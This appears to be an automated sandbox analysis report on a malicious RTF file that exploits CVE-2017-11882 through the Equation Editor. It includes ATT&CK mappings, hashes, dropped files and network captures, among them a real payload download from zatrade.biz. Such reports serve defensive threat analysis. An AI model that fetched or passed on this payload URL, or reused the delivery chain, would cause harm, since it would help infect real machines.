Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE TID: 652	Thread sleep time: -300000s >= -30000s			Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE TID: 3284	Thread sleep time: -60000s >= -30000s			Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	23 Exploitation for Client Execution	1 DLL Side-Loading	1 Process Injection	1 Masquerading	OS Credential Dumping	1 Virtualization/Sandbox Evasion	Remote Services	1 Archive Collected Data	12 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	1 Modify Registry	LSASS Memory	1 Remote System Discovery	Remote Desktop Protocol	Data from Removable Media	2 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Virtualization/Sandbox Evasion	Security Account Manager	1 File and Directory Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Process Injection	NTDS	3 System Information Discovery	Distributed Component Object Model	Input Capture	13 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Obfuscated Files or Information	LSA Secrets	Internet Connection Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Install Root Certificate	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
New Order 3118.rtf	37%	ReversingLabs	Document-RTF.Exploit.CVE-2017-11882

Source	Detection	Scanner	Label
http://crl.pkioverheid.nl/DomOvLatestCRL.crl0	0%	URL Reputation	safe
http://ocsp.entrust.net03	0%	URL Reputation	safe
http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0	0%	URL Reputation	safe
http://www.diginotar.nl/cps/pkioverheid0	0%	URL Reputation	safe
http://ocsp.entrust.net0D	0%	URL Reputation	safe
http://zatrade.biz/6nSkW0jqk	0%	Avira URL Cloud	safe
https://zatrade.biz/6nSkW0jqkE1okon.exe	0%	Avira URL Cloud	safe
http://zatrade.biz/6nSkW0jqkE1okon.exej	0%	Avira URL Cloud	safe
http://zatrade.biz/6nSkW0jqkE1okon.exeW	0%	Avira URL Cloud	safe
https://zatrade.biz/	0%	Avira URL Cloud	safe
http://zatrade.biz/6nSkW0jqkE1okon.exe	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
zatrade.biz	185.236.228.49	true	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://zatrade.biz/6nSkW0jqkE1okon.exe	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://crl.pkioverheid.nl/DomOvLatestCRL.crl0	EQNEDT32.EXE, 00000002.00000002.340815170.00000000005B9000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://zatrade.biz/6nSkW0jqkE1okon.exej	EQNEDT32.EXE, 00000002.00000002.340815170.000000000053F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.entrust.net/server1.crl0	EQNEDT32.EXE, 00000002.00000002.340815170.00000000005B9000.00000004.00000020.00020000.00000000.sdmp	false		high
http://ocsp.entrust.net03	EQNEDT32.EXE, 00000002.00000002.340815170.00000000005B9000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://zatrade.biz/6nSkW0jqk	EQNEDT32.EXE, 00000002.00000002.340815170.0000000000569000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://zatrade.biz/6nSkW0jqkE1okon.exe	EQNEDT32.EXE, 00000002.00000002.340815170.0000000000569000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0	EQNEDT32.EXE, 00000002.00000002.340815170.00000000005B9000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.diginotar.nl/cps/pkioverheid0	EQNEDT32.EXE, 00000002.00000002.340815170.00000000005B9000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://zatrade.biz/6nSkW0jqkE1okon.exeW	EQNEDT32.EXE, 00000002.00000002.340815170.000000000053F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ocsp.entrust.net0D	EQNEDT32.EXE, 00000002.00000002.340815170.00000000005B9000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://zatrade.biz/	EQNEDT32.EXE, 00000002.00000002.340815170.0000000000569000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://secure.comodo.com/CPS0	EQNEDT32.EXE, 00000002.00000002.340815170.00000000005B9000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.entrust.net/2048ca.crl0	EQNEDT32.EXE, 00000002.00000002.340815170.00000000005B9000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.236.228.49	zatrade.biz	Portugal		197696	EVOLIX-ASFR	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1416057
Start date and time:	2024-03-26 19:44:06 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 58s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsofficecookbook.jbs
Analysis system description:	Windows 7 x64 SP1 with Office 2010 SP1 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET 4.6.2)
Number of analysed new started processes analysed:	9
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	New Order 3118.rtf
Detection:	MAL
Classification:	mal80.expl.winRTF@3/8@1/1
EGA Information:	Failed
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .rtf Found Word or Excel or PowerPoint or XPS Viewer Attach to Office via COM Active ActiveX Object Scroll down Close Viewer

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WerFault.exe, WMIADAP.exe, svchost.exe
Execution Graph export aborted for target EQNEDT32.EXE, PID 1096 because there are no executed function
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: New Order 3118.rtf

Simulations

Behavior and APIs

Time	Type	Description
18:44:49	API Interceptor	286x Sleep call for process: EQNEDT32.EXE modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.236.228.49	New_Order_Inquiry_P.O#20015.pif.exe	Get hash	malicious	Unknown	Browse	185.236.228.49/Ioeknkifois.vdf

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
EVOLIX-ASFR	MODELO 347.exe	Get hash	malicious	Remcos	Browse	185.236.228.203
	THuGg.exe	Get hash	malicious	Remcos	Browse	185.236.228.203
	MODELO 347.exe	Get hash	malicious	Remcos	Browse	185.236.228.203
	INQUIRY0092709092023.exe	Get hash	malicious	AveMaria, UACMe	Browse	185.236.228.161
	xD0aqsLra5.exe	Get hash	malicious	LimeRAT	Browse	185.236.228.50
	x86.elf	Get hash	malicious	Unknown	Browse	185.236.228.164
	5AiPT5XcC5.exe	Get hash	malicious	Metasploit, Meterpreter	Browse	185.236.228.215
	New_Order_Inquiry_P.O#20015.pif.exe	Get hash	malicious	Unknown	Browse	185.236.228.49
	http://qx1.org	Get hash	malicious	Unknown	Browse	185.236.226.57
	http://qx1.org	Get hash	malicious	Unknown	Browse	185.236.226.57

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
7dcce5b76c8b17472d024758970a406b	Incident_Report_Harassment_by_Employee.doc	Get hash	malicious	Unknown	Browse	185.236.228.49
	#1337.doc	Get hash	malicious	Unknown	Browse	185.236.228.49
	1.xla.xlsx	Get hash	malicious	Unknown	Browse	185.236.228.49
	1.xla.xlsx	Get hash	malicious	Unknown	Browse	185.236.228.49
	r29EHJocKX.rtf	Get hash	malicious	Unknown	Browse	185.236.228.49
	orden de compra T7849..xla.xlsx	Get hash	malicious	Unknown	Browse	185.236.228.49
	orden de compra T7849..xla.xlsx	Get hash	malicious	Unknown	Browse	185.236.228.49
	SecuriteInfo.com.Exploit.ShellCode.69.11663.9638.rtf	Get hash	malicious	Unknown	Browse	185.236.228.49
	aaaaaa.docx.doc	Get hash	malicious	Unknown	Browse	185.236.228.49
	APMR1GTlQS.rtf	Get hash	malicious	Unknown	Browse	185.236.228.49

Process:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
File Type:	HTML document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	162
Entropy (8bit):	4.43530643106624
Encrypted:	false
SSDEEP:	3:qVoB3tUROGclXqyvXboAcMBXqWSZUXqXlIVLLP61IwcWWGu:q43tISl6kXiMIWSU6XlI5LP8IpfGu
MD5:	4F8E702CC244EC5D4DE32740C0ECBD97
SHA1:	3ADB1F02D5B6054DE0046E367C1D687B6CDF7AFF
SHA-256:	9E17CB15DD75BBBD5DBB984EDA674863C3B10AB72613CF8A39A00C3E11A8492A
SHA-512:	21047FEA5269FEE75A2A187AA09316519E35068CB2F2F76CFAF371E5224445E9D5C98497BD76FB9608D2B73E9DAC1A3F5BFADFDC4623C479D53ECF93D81D3C9F
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	<html>..<head><title>301 Moved Permanently</title></head>..<body>..<center><h1>301 Moved Permanently</h1></center>..<hr><center>nginx</center>..</body>..</html>..

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{A05A15F4-C2B5-4B67-9073-F54DC08C2E4B}.tmp

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	CE338FE6899778AACFC28414F2D9498B
SHA1:	897256B6709E1A4DA9DABA92B6BDE39CCFCCD8C1
SHA-256:	4FE7B59AF6DE3B665B67788CC2F99892AB827EFAE3A467342B3BB4E3BC8E5BFE
SHA-512:	6EB7F16CF7AFCABE9BDEA88BDAB0469A7937EB715ADA9DFD8F428D9D38D86133945F5F2F2688DDD96062223A39B5D47F07AFC3C48D9DB1D5EE3F41C8D274DCCF
Malicious:	false
Reputation:	high, very likely benign file
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{766A1BB3-4D83-4EF3-8227-676B1863F934}.tmp

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	1024
Entropy (8bit):	0.05390218305374581
Encrypted:	false
SSDEEP:	3:ol3lYdn:4Wn
MD5:	5D4D94EE7E06BBB0AF9584119797B23A
SHA1:	DBB111419C704F116EFA8E72471DD83E86E49677
SHA-256:	4826C0D860AF884D3343CA6460B0006A7A2CE7DBCCC4D743208585D997CC5FD1
SHA-512:	95F83AE84CAFCCED5EAF504546725C34D5F9710E5CA2D11761486970F2FBECCB25F9CF50BBFC272BD75E1A66A18B7783F09E1C1454AFDA519624BC2BB2F28BA4
Malicious:	false
Reputation:	high, very likely benign file
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{A82DB890-72A8-478E-8686-713EE0E0C1F6}.tmp

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	1024
Entropy (8bit):	0.9254310571932136
Encrypted:	false
SSDEEP:	6:ilHCONgREqAWlgFJkSDlll8vlwvkvjlFwQFrB:t6k5uFJn7uvqcRKQZB
MD5:	F8C0166D302A1D0A40F95AAA5D456796
SHA1:	0AFFC67915CB41CE286E07C15183FA326BFB327E
SHA-256:	E0E50EA32DE39408247FC99446938B03B5EA8C658E7F9EEC901D54D817767DF2
SHA-512:	D4796282AED60E6115E81C52CE76C859FAE84CF83225005338D64F82F1F9EE07F8B97000285E3E361CF38F85035365DDDDE0464B02DA2795C868A83DF01DA427
Malicious:	false
Reputation:	low
Preview:	2.4.1.9.0.3.9.7.{.'.'.'.=......... .E.q.u.a.t.i.o.n...3.E.M.B.E.D..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................."...............................................................................................................................................................................................................................................................................................................................................................................................................................j....CJ..OJ..QJ..U..^J..aJ.. .j.D.i...CJ..OJ..QJ..U..^J..aJ.

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\New Order 3118.LNK

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Fri Aug 11 15:42:03 2023, mtime=Fri Aug 11 15:42:03 2023, atime=Mon Mar 25 16:44:48 2024, length=3797, window=hide
Category:	dropped
Size (bytes):	1034
Entropy (8bit):	4.53494103171505
Encrypted:	false
SSDEEP:	12:8l46+i/ctgXg/XAlCPCHaXaMBoB/J89rX+WDz5WlN5TF2icvbptySlXIlTFyDtZb:8mtio/XTKMSc9lz8he/71Dv3qFk7N
MD5:	A171A8B15BCF5ED48A1025820229B047
SHA1:	7DC195FA6702F76E551E65FDD089700A217E93ED
SHA-256:	DC141E49CC8D8732C1511DB1C1C38753762101CF32A4764ABF50EEDAE5E3B8EF
SHA-512:	F80838DF85479C408E52A26BD5441F1AE1F0095D105529ED4513399D31D2BF0838ED25993726D27BC2E35111712B29252A05463AFBC77D49508C9CE25C8A6F89
Malicious:	false
Reputation:	low
Preview:	L..................F.... ...OR..r...OR..r...w..!.~...............................P.O. .:i.....+00.../C:\...................t.1.....QK.X..Users.`.......:..QK.X...................6.....U.s.e.r.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.3.....L.1.....zX....user.8......QK.XzX.....&=....U...............A.l.b.u.s.....z.1......WC...Desktop.d......QK.X.WC...._=..............:.....D.e.s.k.t.o.p...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.9.....n.2.....yX.. .NEWORD~1.RTF..R.......WB..WB..........................N.e.w. .O.r.d.e.r. .3.1.1.8...r.t.f.......\|...............-...8...[............?J......C:\Users\..#...................\\745773\Users.user\Desktop\New Order 3118.rtf.).....\.....\.....\.....\.....\.D.e.s.k.t.o.p.\.N.e.w. .O.r.d.e.r. .3.1.1.8...r.t.f.........:..,.LB.)...Ag...............1SPS.XF.L8C....&.m.m............-...S.-.1.-.5.-.2.1.-.9.6.6.7.7.1.3.1.5.-.3.0.1.9.4.0.5.6.3.7.-.3.6.7.3.3.6.4.7.7.-.1.0.0.6.............`.......X.......745773..........D_....3N...W...9.W.e8...8.....[D_

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\index.dat

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	Generic INItialization configuration [folders]
Category:	dropped
Size (bytes):	63
Entropy (8bit):	4.517372487769167
Encrypted:	false
SSDEEP:	3:HgA/Cm4yCv:HFO
MD5:	5CB4A597993DF92479B9516B6B3BEBB0
SHA1:	7AFE084E9C8A1CE3099F955ACD001A2AA934475C
SHA-256:	FDB9904DDE4384FF9462891A2A341374FAAAA1A12735C1D8A3CCB13AE05576A5
SHA-512:	D44110FB31F949F9DCCD0935E64403D097034E33F826AA0678F6BDA4BD84957F76C8D4ABE1842238BB6D20BB7CD6E656DC7A90039633C6A086022A5956923BC8
Malicious:	false
Reputation:	low
Preview:	[misc]..New Order 3118.LNK=0..[folders]..New Order 3118.LNK=0..

C:\Users\user\AppData\Roaming\Microsoft\Templates\~$Normal.dotm

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	162
Entropy (8bit):	2.4797606462020307
Encrypted:	false
SSDEEP:	3:vrJlaCkWtVyxblgl0nGltlMWtVGXlcNOllln:vdsCkWtMe2G/LkXh/l
MD5:	89AFCB26CA4D4A770472A95DF4A52BA8
SHA1:	C3B3FEAEF38C3071AC81BC6A32242E6C39BEE9B5
SHA-256:	EF0F4A287E5375B5BFFAE39536E50FDAE97CD185C0F7892C7D25BD733E7D2F17
SHA-512:	EA44D55E57AEFA8D6F586F144CB982145384F681D0391C5AD8E616A67D77913152DB7B0F927E57CDA3D1ECEC3D343A1D6E060EAFF8E8FEDBE38394DFED8224CC
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	.user..................................................A.l.b.u.s.............p........1...............2..............@3...............3......z.......p4......x...

C:\Users\user\Desktop\~$w Order 3118.rtf

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	162
Entropy (8bit):	2.4797606462020307
Encrypted:	false
SSDEEP:	3:vrJlaCkWtVyxblgl0nGltlMWtVGXlcNOllln:vdsCkWtMe2G/LkXh/l
MD5:	89AFCB26CA4D4A770472A95DF4A52BA8
SHA1:	C3B3FEAEF38C3071AC81BC6A32242E6C39BEE9B5
SHA-256:	EF0F4A287E5375B5BFFAE39536E50FDAE97CD185C0F7892C7D25BD733E7D2F17
SHA-512:	EA44D55E57AEFA8D6F586F144CB982145384F681D0391C5AD8E616A67D77913152DB7B0F927E57CDA3D1ECEC3D343A1D6E060EAFF8E8FEDBE38394DFED8224CC
Malicious:	false
Preview:	.user..................................................A.l.b.u.s.............p........1...............2..............@3...............3......z.......p4......x...

Static File Info

General

File type:	Rich Text Format data, version 1
Entropy (8bit):	4.821427895952533
TrID:	Rich Text Format (5005/1) 55.56% Rich Text Format (4004/1) 44.44%
File name:	New Order 3118.rtf
File size:	3'797 bytes
MD5:	99a565b1df705062e82bd4d7587c2959
SHA1:	1817b3ef54cf96f71bbb581ef21c37c820c125f0
SHA256:	e8fac55896700a6e6505cc1b8d4f98570358c0a1275564d587845cfb5ec47068
SHA512:	6893bb6540e7c92cb2d39dae83dd7e16a5ed0cc8bc468e13d65dc1a4e5b909bc9a249b306323167a986ee199b6ff6a9d444b673028e4b92aeb9b0b62607ed15c
SSDEEP:	48:ofay8ypNmpIBWJ993C4hQYqOSRj3jK3Uufl6bc7BsQjtGkCJ6DKNdFlVmo7iC+Op:8ay3NpoBh+Yqz3j0gUDSJIo71tIDocqn
TLSH:	DA715D2B99042D53F983A5F6F58A3C2560F3F96B02CF5E005936F7BA2C27355E026600
File Content Preview:	{\rtf1..{\*\tnUJZMF1qacx5wXPF7Gi9Ek5xIGf1tMvo9y9DxmK4NsFtNgkxl1MTSa79nWc1QLNJ44Pqsc0UoStwLRUkQ1WXgcpZuDUVgK3OQ3FyWXg9ob1lGaGeyYKsLcsDWeQ166b79Co9IK13GcosXwkhLtx0pNv9X5a75RgV9oHtbkgG5nOoZEavQKYUYfcPtn8I29waJ9nkrbJoBOx7mHRM89HqvHbzS6E6Lz3OXVWESfZhShdJYry}..

File Icon


Icon Hash:	2764a3aaaeb7bdbf

Static RTF Info

Objects

Id	Start	Format ID	Format	Classname	Datasize	Filename	Sourcepath	Temppath	Exploit
0	0000014Bh								no

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 26, 2024 19:44:52.498389006 CET	49165	80	192.168.2.22	185.236.228.49
Mar 26, 2024 19:44:52.680484056 CET	80	49165	185.236.228.49	192.168.2.22
Mar 26, 2024 19:44:52.680588961 CET	49165	80	192.168.2.22	185.236.228.49
Mar 26, 2024 19:44:52.680857897 CET	49165	80	192.168.2.22	185.236.228.49
Mar 26, 2024 19:44:52.860960007 CET	80	49165	185.236.228.49	192.168.2.22
Mar 26, 2024 19:44:52.861654997 CET	80	49165	185.236.228.49	192.168.2.22
Mar 26, 2024 19:44:52.861704111 CET	49165	80	192.168.2.22	185.236.228.49
Mar 26, 2024 19:44:52.871974945 CET	49166	443	192.168.2.22	185.236.228.49
Mar 26, 2024 19:44:52.871999979 CET	443	49166	185.236.228.49	192.168.2.22
Mar 26, 2024 19:44:52.872118950 CET	49166	443	192.168.2.22	185.236.228.49
Mar 26, 2024 19:44:52.881002903 CET	49166	443	192.168.2.22	185.236.228.49
Mar 26, 2024 19:44:52.881012917 CET	443	49166	185.236.228.49	192.168.2.22
Mar 26, 2024 19:44:53.250047922 CET	443	49166	185.236.228.49	192.168.2.22
Mar 26, 2024 19:44:53.250195026 CET	49166	443	192.168.2.22	185.236.228.49
Mar 26, 2024 19:44:53.255448103 CET	49166	443	192.168.2.22	185.236.228.49
Mar 26, 2024 19:44:53.255460978 CET	443	49166	185.236.228.49	192.168.2.22
Mar 26, 2024 19:44:53.255845070 CET	443	49166	185.236.228.49	192.168.2.22
Mar 26, 2024 19:44:53.255896091 CET	49166	443	192.168.2.22	185.236.228.49
Mar 26, 2024 19:44:53.318337917 CET	49166	443	192.168.2.22	185.236.228.49
Mar 26, 2024 19:44:53.336297035 CET	443	49166	185.236.228.49	192.168.2.22
Mar 26, 2024 19:44:53.336354971 CET	49166	443	192.168.2.22	185.236.228.49
Mar 26, 2024 19:44:53.435904980 CET	49165	80	192.168.2.22	185.236.228.49

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 26, 2024 19:44:52.289133072 CET	54562	53	192.168.2.22	8.8.8.8
Mar 26, 2024 19:44:52.486057043 CET	53	54562	8.8.8.8	192.168.2.22

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Mar 26, 2024 19:44:52.289133072 CET	192.168.2.22	8.8.8.8	0xae6f	Standard query (0)	zatrade.biz	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Mar 26, 2024 19:44:52.486057043 CET	8.8.8.8	192.168.2.22	0xae6f	No error (0)	zatrade.biz		185.236.228.49	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

zatrade.biz

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.22	49165	185.236.228.49	80	1096	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Timestamp	Bytes transferred	Direction	Data
Mar 26, 2024 19:44:52.680857897 CET	317	OUT	GET /6nSkW0jqkE1okon.exe HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: zatrade.biz Connection: Keep-Alive
Mar 26, 2024 19:44:52.861654997 CET	369	IN	HTTP/1.1 301 Moved Permanently Server: nginx Date: Tue, 26 Mar 2024 18:44:52 GMT Content-Type: text/html Content-Length: 162 Connection: keep-alive Location: https://zatrade.biz/6nSkW0jqkE1okon.exe Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>

Target ID:	0
Start time:	18:44:48
Start date:	25/03/2024
Path:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /Automation -Embedding
Imagebase:	0x13f430000
File size:	1'423'704 bytes
MD5 hash:	9EE74859D22DAE61F1750B3A1BACB6F5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	18:44:49
Start date:	25/03/2024
Path:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
Wow64 process (32bit):	true
Commandline:	"C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Imagebase:	0x400000
File size:	543'304 bytes
MD5 hash:	A87236E214F6D42A65F5DEDAC816AEC8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	18:45:10
Start date:	25/03/2024
Path:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
Wow64 process (32bit):	true
Commandline:	"C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Imagebase:	0x400000
File size:	543'304 bytes
MD5 hash:	A87236E214F6D42A65F5DEDAC816AEC8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Function 0055A7AA Relevance: .3, Instructions: 265COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.340815170.000000000053F000.00000004.00000020.00020000.00000000.sdmp, Offset: 0053F000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_53f000_EQNEDT32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 01d3b10c7c01290b7007731cab21ef23807dd42a570890b870c892281f958ea3
Instruction ID: 03ec910d94765c6099d78da888bb45588d6d6e2470d8e683c6736e6fd62cb678
Opcode Fuzzy Hash: 01d3b10c7c01290b7007731cab21ef23807dd42a570890b870c892281f958ea3
Instruction Fuzzy Hash: C861BB8548E3D11FD74383B4982E961BFA12E5716174FC2DF94895F9B3E388891AD323

Uniqueness

Uniqueness Score: -1.00%

